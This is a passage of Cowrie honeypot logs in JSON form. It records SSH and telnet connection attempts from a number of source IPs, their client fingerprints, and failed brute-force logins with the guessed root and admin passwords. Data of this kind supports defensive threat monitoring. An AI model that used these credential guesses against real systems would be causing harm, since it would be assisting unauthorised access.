tm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:40.924457Z","src_ip":"223.197.186.7","session":"ad5cd811c2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37730,"dst_ip":"159.203.135.109","dst_port":23,"session":"7af71aa899ff","protocol":"telnet","message":"New connection: 188.166.220.49:37730 (159.203.135.109:23) [session: 7af71aa899ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:41.858989Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server1!","message":"login attempt [root/Server1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:41.875766Z","src_ip":"223.197.186.7","session":"ad5cd811c2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:43.094267Z","src_ip":"223.197.186.7","session":"ad5cd811c2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.27579855918884,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:54.536468Z","src_ip":"188.166.220.49","session":"08a7485b9284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":57878,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f39d5725ab9","protocol":"telnet","message":"New connection: 188.166.220.49:57878 (159.203.135.109:23) [session: 4f39d5725ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:55.018972Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58054,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b58d4b8cc10","protocol":"telnet","message":"New connection: 188.166.220.49:58054 (159.203.135.109:23) [session: 5b58d4b8cc10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:55.151338Z"}
{"eventid":"cowrie.session.closed","duration":33.529244899749756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:55.263118Z","src_ip":"188.166.220.49","session":"79c350a68f71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":36672,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bf01abe667e","protocol":"ssh","message":"New connection: 103.148.100.146:36672 (159.203.135.109:22) [session: 7bf01abe667e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:55.744728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:55.749430Z","src_ip":"103.148.100.146","session":"7bf01abe667e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:56.011733Z","src_ip":"103.148.100.146","session":"7bf01abe667e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.8450870513916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:56.638399Z","src_ip":"188.166.220.49","session":"c0fa4a05d256","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz\"WSX","message":"login attempt [root/1qaz\"WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:57.074878Z","src_ip":"103.148.100.146","session":"7bf01abe667e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":33912,"dst_ip":"159.203.135.109","dst_port":23,"session":"04aef5718297","protocol":"telnet","message":"New connection: 188.166.220.49:33912 (159.203.135.109:23) [session: 04aef5718297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:57.924824Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:58.335366Z","src_ip":"103.148.100.146","session":"7bf01abe667e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":34530,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7aa3e42bc41","protocol":"telnet","message":"New connection: 188.166.220.49:34530 (159.203.135.109:23) [session: f7aa3e42bc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:59.322336Z"}
{"eventid":"cowrie.session.closed","duration":35.73253774642944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:10:59.902958Z","src_ip":"188.166.220.49","session":"b11fe12a5ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37494,"dst_ip":"159.203.135.109","dst_port":23,"session":"9befbe1ee28b","protocol":"telnet","message":"New connection: 188.166.220.49:37494 (159.203.135.109:23) [session: 9befbe1ee28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:00.238852Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":37780,"dst_ip":"159.203.135.109","dst_port":22,"session":"70ace259cd7f","protocol":"ssh","message":"New connection: 45.78.208.179:37780 (159.203.135.109:22) [session: 70ace259cd7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:07.064275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:07.069327Z","src_ip":"45.78.208.179","session":"70ace259cd7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17372107505798,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:07.201633Z","src_ip":"188.166.220.49","session":"ecd14a59ae43","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:07.313066Z","src_ip":"45.78.208.179","session":"70ace259cd7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234!@#$","message":"login attempt [ubuntu/1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:08.321922Z","src_ip":"45.78.208.179","session":"70ace259cd7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:09.568623Z","src_ip":"45.78.208.179","session":"70ace259cd7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58362,"dst_ip":"159.203.135.109","dst_port":23,"session":"2845033c7b9b","protocol":"telnet","message":"New connection: 188.166.220.49:58362 (159.203.135.109:23) [session: 2845033c7b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:13.954658Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":58228,"dst_ip":"159.203.135.109","dst_port":23,"session":"a17b410d60d6","protocol":"telnet","message":"New connection: 188.166.220.49:58228 (159.203.135.109:23) [session: a17b410d60d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:14.860907Z"}
{"eventid":"cowrie.session.closed","duration":34.76839470863342,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:16.627263Z","src_ip":"188.166.220.49","session":"7af71aa899ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36588,"dst_ip":"159.203.135.109","dst_port":22,"session":"31b7c71f136b","protocol":"ssh","message":"New connection: 159.203.92.129:36588 (159.203.135.109:22) [session: 31b7c71f136b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:17.972971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:17.978671Z","src_ip":"159.203.92.129","session":"31b7c71f136b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:17.985979Z","src_ip":"159.203.92.129","session":"31b7c71f136b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@ssw0rd","message":"login attempt [admin/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:18.001575Z","src_ip":"159.203.92.129","session":"31b7c71f136b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":37456,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd22e45b287a","protocol":"telnet","message":"New connection: 188.166.220.49:37456 (159.203.135.109:23) [session: bd22e45b287a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:18.806495Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:19.010063Z","src_ip":"159.203.92.129","session":"31b7c71f136b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":42748,"dst_ip":"159.203.135.109","dst_port":23,"session":"7afa8f425396","protocol":"telnet","message":"New connection: 188.166.220.49:42748 (159.203.135.109:23) [session: 7afa8f425396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:23.278158Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":55474,"dst_ip":"159.203.135.109","dst_port":22,"session":"31852ee8aeaf","protocol":"ssh","message":"New connection: 185.239.84.249:55474 (159.203.135.109:22) [session: 31852ee8aeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:23.353134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:23.358781Z","src_ip":"185.239.84.249","session":"31852ee8aeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":42954,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1c033a76103","protocol":"telnet","message":"New connection: 188.166.220.49:42954 (159.203.135.109:23) [session: c1c033a76103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:23.431626Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:23.572984Z","src_ip":"185.239.84.249","session":"31852ee8aeaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deneme123","message":"login attempt [root/deneme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:24.215066Z","src_ip":"185.239.84.249","session":"31852ee8aeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:25.454995Z","src_ip":"185.239.84.249","session":"31852ee8aeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.98408889770508,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:29.135336Z","src_ip":"188.166.220.49","session":"5b58d4b8cc10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":52944,"dst_ip":"159.203.135.109","dst_port":23,"session":"e45a9e0c9fae","protocol":"telnet","message":"New connection: 188.166.220.49:52944 (159.203.135.109:23) [session: e45a9e0c9fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:29.211650Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":54292,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a143c9aa02","protocol":"telnet","message":"New connection: 188.166.220.49:54292 (159.203.135.109:23) [session: f9a143c9aa02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:30.031687Z"}
{"eventid":"cowrie.session.closed","duration":35.65244650840759,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:30.671295Z","src_ip":"188.166.220.49","session":"4f39d5725ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62308883666992,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:32.945287Z","src_ip":"188.166.220.49","session":"f7aa3e42bc41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.387343883514404,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:33.312048Z","src_ip":"188.166.220.49","session":"04aef5718297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.878864765167236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:35.117578Z","src_ip":"188.166.220.49","session":"9befbe1ee28b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":62675,"dst_ip":"159.203.135.109","dst_port":22,"session":"71d335a1cdcd","protocol":"ssh","message":"New connection: 223.197.186.7:62675 (159.203.135.109:22) [session: 71d335a1cdcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:40.964584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:40.967935Z","src_ip":"223.197.186.7","session":"71d335a1cdcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:41.198769Z","src_ip":"223.197.186.7","session":"71d335a1cdcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA111111","message":"login attempt [root/aA111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:42.121059Z","src_ip":"223.197.186.7","session":"71d335a1cdcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:43.340380Z","src_ip":"223.197.186.7","session":"71d335a1cdcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.77383756637573,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:48.634613Z","src_ip":"188.166.220.49","session":"a17b410d60d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.619405031204224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:49.573952Z","src_ip":"188.166.220.49","session":"2845033c7b9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27624869346619,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:53.082614Z","src_ip":"188.166.220.49","session":"bd22e45b287a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":59954,"dst_ip":"159.203.135.109","dst_port":23,"session":"93e7b7deace2","protocol":"telnet","message":"New connection: 188.166.220.49:59954 (159.203.135.109:23) [session: 93e7b7deace2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:11:53.290105Z"}
